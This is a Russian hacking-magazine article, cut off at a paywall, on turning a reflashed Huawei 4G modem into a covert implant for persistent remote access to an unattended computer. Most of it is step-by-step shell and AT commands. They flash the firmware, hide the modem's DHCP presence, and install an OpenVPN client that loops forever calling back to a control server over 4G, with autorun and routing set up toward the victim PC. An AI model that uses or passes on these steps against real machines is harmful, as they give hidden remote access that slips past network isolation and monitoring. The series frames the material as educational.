Содержание статьи
Что, если кто‑нибудь воспользуется оставленным без внимания компьютером и подключит к нему специальный девайс, по которому затем получит удаленный доступ из любого уголка мира? Вся описанная мною ранее магия с эмуляцией устройств через USB может оказаться в распоряжении злоумышленника. Только теперь он направит усилия не на атаку, а на поддержание удаленного доступа.
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH».
Задумывался ли ты о том, что современные 4G-модемы (HiLink) — это устройства чуть больше флешки с настоящим Linux внутри? Например, Android 2.3 / Linux 3.4.5 + VxWorks v6.8 для GSM. Это полностью автономные устройства с питанием по USB. Сразу после подключения к компьютеру ОС модема за несколько секунд загружается и эмулирует свой USB как сетевую карту.
Для описываемой в этой статье атаки лучшим аппаратным решением будет непосредственно сам HiLink-модем: он компактен и имеет 4G-модуль. Это может быть, например, популярный Huawei E3372h-153, который позволяет сделать перепрошивку, к тому же у него богатая поддержка сообществом энтузиастов.
Современные 4G-модемы представляют собой HiLink-модемы, то есть они определяются в системе как сетевая карта. Для ОС ПК пользователя максимально удобно взаимодействовать с интернетом через такую виртуальную Ethernet-сеть. Но в то же время и сам модем может использоваться для взаимодействия с компьютером, к которому он подключен. Внутри модема работает полноценная ОС, которая так же, как было продемонстрировано с BadUSB-ETH, эмулирует сетевую карту. Схема закрепления на скомпрометированной машине при помощи такого устройства показана на следующем рисунке.
Для закрепления в похожих обстоятельствах существует готовый девайс под названием LAN Turtle, однако он лишен важной особенности — поддержки стороннего 4G-канала.
Реализация
Само устройство настолько удачно подходит для организации удаленного доступа, что понадобится минимум изменений. Его главные преимущества:
- не требует дополнительного питания;
- скрытое подключение, устройство не будет видно в локальной сети, так как работает только в пределах скомпрометированного компьютера;
- автономный канал передачи данных 4G позволит иметь доступ даже внутри изолированных локальных сетей.
Для максимальной эффективности устройство потребуется немного доработать — перепрошить модем. После всех внесенных изменений ОС модема автоматически установит VPN-соединение с контрольным сервером через 4G-сеть (внешний канал) и обеспечит таким образом устойчивый сетевой доступ к ПК, в который вставлен модем. Изначально получить доступ к ОС модема можно одним из следующих способов:
telnet 192.168.8.1
adb connect 192.168.8.1:5555
Чтобы выполнить дальнейшие настройки, потребуется включить порты для AT-команд:
curl http://192.168.8.1/html/switchDebugMode.html
minicom -D /dev/ttyUSB0
После включения отладочного режима ОС модема может быть модифицирована, для этого нужно войти в режим перепрошивки и загрузить открытую прошивку:
at^godload # Переход в режим прошивки. Модем перезагрузитсяsudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.00_M_AT_05.10_nv.exe
После запуска модем обычно эмулирует CD-ROM с драйверами плюс SD-карту. Это нужно отключить, поскольку девайсу требуется только эмуляция сети:
AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 # Не переходить в режим CD-ROM при запуске, включен RNDIS/CDCAT^RESET # Перезагрузка
Далее следует модифицировать сервер DHCP, чтобы модем не объявлял себя шлюзом и на компьютере не ломалась таблица маршрутизации. Модем должен подключаться максимально скрытно:
cat <<EE > /data/configInterface br0MinLease 30Vendorid c0012Address mainEnbSrv 1Start 192.168.8.100End 192.168.8.200Option lease 86400Option subnet 255.255.255.0Address main endEE
Теперь нужно скопировать на модем клиент OpenVPN с драйвером и конфигом. Чтобы ничего не компилировать, готовые бинарники можно скачать с сайта 4PDA:
adb push tun.ko /online/ovpn/
adb push openvpn /online/ovpn/
adb push vds.ovpn /online/ovpn/
cat <<EE > /data/vpn.sh#!/system/bin/busybox shwhile :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn --route-noexec; doneEEchmod 700 /data/vpn.sh
busybox passwd
reboot
Для большей надежности обратного подключения VPN лучше запускать в бесконечном цикле. Осталось лишь настроить автозапуск всего этого добра и не забыть организовать маршрутизацию пакетов через модем от 4G-сети в сторону целевого компьютера:
mount -o remount,rw /dev/block/mtdblock16
cat <<EE >> /system/etc/autorun.sh/data/autorun.sh &EEcat <<EE > /data/autorun.sh#!/system/bin/busybox shkillall dhcps.realcp /data/config /var/dhcp/dhcps/configdhcps.real &sleep 5insmod /online/ovpn/tun.ko/data/vpn.sh &iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADEiptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROPiptables -I FORWARD 2 -i br0 -o wan0 -j DROPEEchmod 700 /data/autorun.sh
Также на модеме запрещен выход в 4G-интернет с ПК и прикрыта веб‑админка. Теперь модем полностью «заряжен» и готов к использованию в качестве аппаратной закладки.
Закрепление
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»